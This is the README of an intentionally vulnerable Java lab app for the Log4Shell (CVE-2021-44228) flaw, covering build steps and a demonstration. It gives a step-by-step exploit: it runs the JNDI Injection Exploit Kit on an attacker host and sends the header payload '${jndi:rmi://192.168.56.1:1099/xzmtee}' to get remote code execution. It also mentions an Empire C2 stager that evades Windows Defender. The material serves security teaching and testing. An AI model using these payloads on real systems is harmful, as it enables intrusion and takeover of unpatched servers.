This is a basic, minimal, intentionally vulnerable Java web application including a version (2.14.1) of the log4j library affected by the infamous log4shell (CVE-2021-44228) vulnerability.
Gradle wrapper should solve everything. Simply git clone the repo:
git clone https://github.com/tothi/log4shell-vulnerable-app
And in the project dir with the file build.gradle, simply run:
./gradlew appRun
or on Windows platform:
.\gradlew.bat appRun
JDK is needed. Versions 8 and 11 were tested and are working, 17 seems to have issues.
This method builds a one-file portable fat JAR including an embedded Tomcat server.
Simply run the gradle wrapper with the configured `shadowJar' task:
./gradlew shadowJar
or on Windows platform:
.\gradlew.bat shadowJar
The compiled and packages JAR file will be built in the folder ./build/libs
.
It is portable and can be launched using JRE:
java -jar ./build/libs/log4shell-vulnerable-app-all.jar
The all-in-one portable JAR is available on the releases page here in the repo.
The vulnerable application should listen on all interfaces by default (DANGEROUS behavior if you run it on a production box).
It is available on the URL:
http://<IP_ADDR>:8888/app/
Note, that the log4j vulnerability triggers only when the app performs some log4j logging activity. In this demo app, it is active when accessing the URL:
http://<IP_ADDR>:8888/app/servlet
and passing a string in the Header "x-log". (This is what gets logged.) For example, using curl:
curl http://<IP_ADDR>:8888/app/servlet -H 'x-log: <payload>'
This highlights that detecting the log4j vulnerability is not obvious at all.
Here are some instructions on how to exploit the RCE (even on up-to-date default Java configurations with TrustURLCodebase set to false). Tested on Linux and Windows with Java 11.0.1[23].
Simply use the JNDI Injection Exploit Kit by welk1n or a more recent fork by pimps.
Steps to perform (in this example, target host is 192.168.56.101 and attacker gost is 192.168.56.1):
-
Launch the vulnerable web app with
.\gradlew.bat appRun
. It listens on 192.168.56.101:8888 and uses Tomcat 8.5 as a backend. Tomcat 8 (in the classpath) is mandatory for the javax.el.ELProcessor RMI exploit path (supported by the current version of the JNDI Injection Exploit Kit). -
Launch the JNDI Injection Exploit Kit on the attacker host after building with
mvn package
withjava -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'calc.exe'
(the payload will execute calc.exe on the target). Helper servers are started now on 192.168.56.1. Assuming the RMI url for trustURLCodeBase false config isrmi://192.168.56.1:1099/xzmtee
. -
Trigger the exploit by sending the malicious payload through the "x-log" header:
curl http://192.168.56.101:8888/app/servlet -H 'x-log: ${jndi:rmi://192.168.56.1:1099/xzmtee}
-
The app should use the vulnerable log4j for logging the contents of the "x-log" header. While logging, it looks up the referenced RMI URL, and the JNDI Kit sends the RCE payload classloading reference.
-
Note, that instead of logging the actual content of the "x-log" header, the referenced class name ("javax.el.ELProcessor") gets logged.
-
On the target host, calc.exe should be spawned, reaching RCE.
UPDATE: here is an extra PoC screenshot for those who are curious and doubt whether launching a calc.exe is useful for anything at all. In this screenshot, replaced the calc.exe payload with an Empire stager giving a full featured C2 Empire Agent (also bypassing up-to-date Windows Defender).